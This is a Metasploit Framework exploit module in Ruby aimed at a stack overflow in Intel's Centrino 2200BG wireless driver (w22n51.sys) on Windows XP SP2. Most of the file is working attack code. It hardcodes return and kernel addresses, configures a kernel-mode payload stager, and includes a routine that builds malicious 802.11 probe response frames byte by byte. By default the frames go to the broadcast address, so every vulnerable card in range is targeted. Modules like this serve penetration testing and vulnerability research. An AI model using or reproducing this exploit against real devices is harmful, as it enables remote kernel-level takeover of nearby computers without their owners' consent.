##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##


require 'msf/core'

module Msf

class Exploits::Windows::Driver::Intel_Centrino_2200BG_driver_probe < Msf::Exploit::Remote

  include Exploit::Lorcon
  include Exploit::KernelMode  

  def initialize(info = {})
    super(update_info(info,  
      'Name'           => 'Intel Centrino 2200BG Wireless Driver Probe Overflow',
      'Description'    => %q{
        This module exploits a stack overflow in the w22n51.sys driver provided
      with the Intel 2200BG integrated wireless adapter. This stack overflow 
      allows remote code execution in kernel mode. The stack overflow is triggered
      when a 802.11 Probe response frame is received that contains multi vendor specific tag 
      and "\x00" as essid and essid length element. This exploit was tested with version 8.0.12.20000 
      of the  driver and an Intel Centrino 2200BG integrated wireless adapter. Newer
      versions of the w22n51.sys driver are provided from Intel to resolve this flaw.
      Since this vulnerability is exploited via probe response frames, all cards within 
      range of the attack will be affected. 
      
      Vulnerable clients don't need to have their card in a particular state for this exploit 
      to work.
      
      This module depends on the Lorcon library and only works on the Linux platform
      with a supported wireless card. Please see the Ruby Lorcon documentation 
      (external/ruby-lorcon/README) for more information.
      },
      
      'Author'         => 
        [
          'oveRet \'Giuseppe Gottardi\' <overet [at] securitydate.it',   # exploit dev
          'skape'                # windows kernel ninjitsu
        ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision: 4529 $',
      'References'     =>
        [
          ['URL', 'http://www.kb.cert.org/vuls/id/524332'],
          ['URL', 'http://www.milw0rm.org/exploits/3158'],
          ['URL', 'http://overet.securitydate.it/stuff/2200BG_8.0.12.20000_drivers.zip']
        ],
      'Privileged'     => true,
                        
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },

      'Payload'        =>
        {
          'Space'    => 224
        },
      'Platform'       => 'win',
      'Targets'        => 
        [
          # Windows XP SP2
          # 5.1.2600 (xpsp_sp2_gdr.070227-2254)
          [ 'Windows XP SP2 (5.1.2600), w22n51.sys 8.0.12.20000',
            {
              'Ret'      => 0x8054eb62,
              'Platform' => 'win',
              'Payload'  => 
              {
                'ExtendedOptions' => 
                {
                  'Stager'       => 'sud_syscall_hook',  # don't change this
                  'PrependUser'  => "\xeb\x02" +     # required jump
                        "\x85\xe0",    # fixed max len
                  'Recovery'     => 'idlethread_restart',
                  'KiIdleLoopAddress' => 0x804dbb27,
                }
              }
            } 
          ]
        ],


      'DefaultTarget' => 0
      ))
      
    register_options(
      [
        OptString.new('ADDR_DST', [ true,  "The MAC address to send this to",'FF:FF:FF:FF:FF:FF']),
        OptInt.new('RUNTIME', [ true,  "The number of time to run the attack", 1000]),
        OptInt.new('DELAY', [ true,  "The number of seconds to sleep between the packets", 1]),
      ], self.class)
  end
  
  def exploit
    open_wifi
    
                rtime = datastore['RUNTIME'].to_i
    dtime = datastore['DELAY'].to_i
    count = 0

    print_status("Sending probe exploit to #{datastore['ADDR_DST']}...")
    print "[-] "

    while (count < rtime)
      wifi.write(create_beacon)
      select(nil, nil, nil, 0.10) if (count % 100 == 0)
      count += 1
      #Exit if we get a session
      break if session_created?
                        
      print "#"
      sleep(dtime)
    end

    print "\n"
    print_status("Completed sending probe.")
  end
 
  def create_beacon
    bssid  = ("\x43" * 6)
    src    = ("\x43" * 6)
    seq    = [rand(255)].pack('n')

    fill   = 0xe0 - (payload.encoded.length - 125)
    
    frame =
      "\x50" +                      # type/subtype
      "\x00" +                      # flags
      "\x3a\x01" +                  # duration  
      eton(datastore['ADDR_DST']) + # dst
      src   +                       # src
      bssid +                       # bssid
      seq   +                       # seq  
      rand_text(8) +              # timestamp value
      "\xa0\x0f" +                  # beacon interval
      "\x31\x08" +                  # capability flags
      
      # ssid tag
      "\x00\x00" +

      # supported rates
      "\x01" + "\x01" + "\x82" +

      # current channel
      "\x03" + "\x01" + channel.chr +
      
      # fixed max len
      "\x85\x7b" +

      payload.encoded +
      
      # fill to reach e0 length
      ("\x41" * fill) +

      # vendor specific tag
      "\xdd" +
      "\x18" +
      "\x00\x50\xf2\x02\x01\x01\x89\x00\x03\xa5\x00\x00\x27\xa5\x00\x00" +
      "\x42\x54\xbc\x00\x62\x43\x66\x00" +
      
      # vendor specific tag
      "\xdd" +
      "\x10" +
      "\x00\x50\xf2\x05\x00\x01\x00\x04\x00\x00\x83\x07" +
      
      # RET address
      [target['Ret']].pack('V')
                
    return frame
  end
end
end